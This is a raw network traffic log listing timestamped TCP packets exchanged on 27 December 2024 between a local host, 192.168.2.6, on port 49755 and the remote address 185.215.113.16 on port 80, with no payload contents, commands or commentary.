Dec 27, 2024 15:05:50.785609007 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785620928 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785633087 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785645962 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785657883 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785670042 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785685062 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.785690069 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785701990 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785713911 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785734892 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.785736084 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785754919 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785758018 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.785768032 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785789967 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785797119 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.785801888 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785823107 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.785851955 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785862923 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785868883 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785885096 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785897017 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785897017 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.785908937 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785921097 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785937071 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785955906 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.785962105 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.785970926 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.785974979 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786000013 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.786602020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786708117 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786719084 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786731005 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786741972 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786753893 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786757946 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.786765099 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786794901 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786798954 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.786807060 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786818027 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786829948 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786839008 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.786842108 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786854029 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786876917 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.786886930 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786897898 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.786902905 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.786927938 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.787563086 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787631989 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787775040 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787786961 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787797928 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787817001 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787818909 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.787828922 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787841082 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787853956 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787863970 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.787867069 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787878990 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787890911 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787894011 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.787902117 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787913084 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.787930965 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.787935019 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787946939 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787959099 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787971020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.787970066 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.788005114 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.788774014 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788784981 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788796902 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788809061 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788819075 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788822889 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.788830996 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788841963 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788844109 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.788855076 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788866043 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788866997 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.788877010 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788888931 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788888931 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.788901091 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788911104 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.788913965 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788925886 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788933039 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.788948059 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.788950920 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.788983107 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.789616108 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789628983 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789640903 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789653063 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789671898 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789681911 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.789683104 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789695024 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789705992 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.789706945 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789719105 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789736986 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.789742947 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.789756060 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789767027 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789778948 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789786100 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.789789915 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789802074 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789810896 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.789813042 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789824963 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.789834976 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.789860010 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.790271997 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.790559053 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790572882 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790591002 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790617943 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.790762901 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790776014 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790786982 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790801048 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.790806055 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790816069 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.790817976 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790855885 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.790882111 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790900946 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790913105 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790925026 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790936947 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790940046 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.790947914 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.790976048 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.790998936 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.790999889 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791013002 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791023970 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791037083 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791040897 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.791049957 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791090012 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.791178942 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.791722059 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791734934 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791791916 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.791876078 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791898966 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791910887 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791923046 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.791924953 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791938066 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791944027 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.791949987 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791960955 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791973114 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.791973114 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791984081 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.791994095 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.791995049 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.792018890 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.792030096 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.792035103 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.792042017 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.792059898 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.792084932 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.792757034 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.792928934 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.792939901 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.792958021 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.792968988 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.792979956 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.792990923 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793003082 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793019056 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.793026924 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793037891 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793050051 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793051004 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.793062925 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793076038 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793087006 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.793088913 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793100119 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793112993 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793114901 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.793124914 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793131113 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.793138027 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793159008 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.793178082 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.793659925 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.793668985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793680906 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793693066 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793713093 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.793868065 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793890953 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793903112 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793914080 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.793915987 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.793941021 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.794003963 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794025898 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794042110 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.794044971 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794055939 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794068098 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794090986 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794094086 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.794104099 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794116020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794121027 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.794126987 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794140100 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794152021 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794152975 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.794164896 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794181108 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.794200897 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.794862032 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794882059 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794900894 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794929981 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.794938087 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.794950962 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.795056105 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795069933 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795080900 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795094013 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.795099020 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795109987 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795119047 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.795120955 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795133114 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795145035 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795157909 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795159101 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.795171022 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795182943 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795187950 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.795196056 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.795196056 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795226097 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.795542002 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.795867920 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795886040 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795897961 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795909882 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795917034 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.795929909 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795937061 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.795943022 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795963049 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795970917 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.795975924 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.795995951 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.796006918 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.796009064 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.796020985 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.796034098 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.796036005 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.796047926 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.796057940 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.796060085 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.796072006 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.796086073 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.796120882 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.797159910 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.797564030 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797595978 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797610044 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797636032 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797646999 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797650099 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.797658920 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797669888 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797677040 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797677994 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.797683001 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797688961 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797694921 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797705889 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797718048 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797730923 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797734022 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.797755003 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.797756910 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797769070 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.797774076 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.797801018 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.798585892 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.798610926 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.798671007 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.799182892 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.799448013 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.800050974 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.800096989 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.800132990 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.800173044 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.800880909 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.802969933 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.905690908 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.905709982 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.905774117 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.908911943 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.908961058 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.909024000 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.915694952 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.915807962 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.915898085 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.922451973 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.922477007 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.922557116 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.929234028 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.929333925 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.929394007 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.931337118 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.931457996 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.932423115 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.933546066 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.933666945 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.935277939 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.935333014 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.935368061 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.935409069 CET	49755	80	192.168.2.6	185.215.113.16
Dec 27, 2024 15:05:50.937176943 CET	80	49755	185.215.113.16	192.168.2.6
Dec 27, 2024 15:05:50.937268972 CET	80	49755	185.215.113.16	192.168.2.6
